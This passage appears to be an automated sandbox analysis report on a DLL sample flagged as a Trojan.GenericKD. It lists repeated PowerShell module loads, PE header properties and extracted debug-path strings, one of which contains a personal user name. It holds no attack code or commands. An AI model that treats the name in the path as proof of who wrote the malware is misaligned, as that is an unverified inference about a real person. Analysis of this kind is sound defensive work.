Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000013.00000002.3249780727.0000017775B91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll source: powershell.exe, 00000010.00000002.3129336999.00000255548F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb{ source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbllR source: powershell.exe, 00000013.00000002.3249780727.0000017775B91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000F.00000002.3077151933.000002027F6FC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775DC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3183687643.00000209CB602000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.3129336999.000002555499D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3125917832.00000209CB3C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Chn.pdb source: powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: klib.pdb source: powershell.exe, 00000014.00000002.3183687643.00000209CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: >C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32vv source: powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbG~ source: powershell.exe, 00000014.00000002.3183687643.00000209CB602000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb(, source: powershell.exe, 00000010.00000002.3186491471.0000025554BF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775DC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000F.00000002.3138987795.000002027F820000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000F.00000002.3077151933.000002027F6CA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbt source: powershell.exe, 00000014.00000002.3125917832.00000209CB330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdbon.resources source: powershell.exe, 00000013.00000002.3249780727.0000017775B50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000014.00000002.3183687643.00000209CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb.catf) source: powershell.exe, 00000014.00000002.3125917832.00000209CB330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb~ source: powershell.exe, 0000000F.00000002.3138987795.000002027F820000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbbY source: powershell.exe, 00000014.00000002.3183687643.00000209CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb,3 source: powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
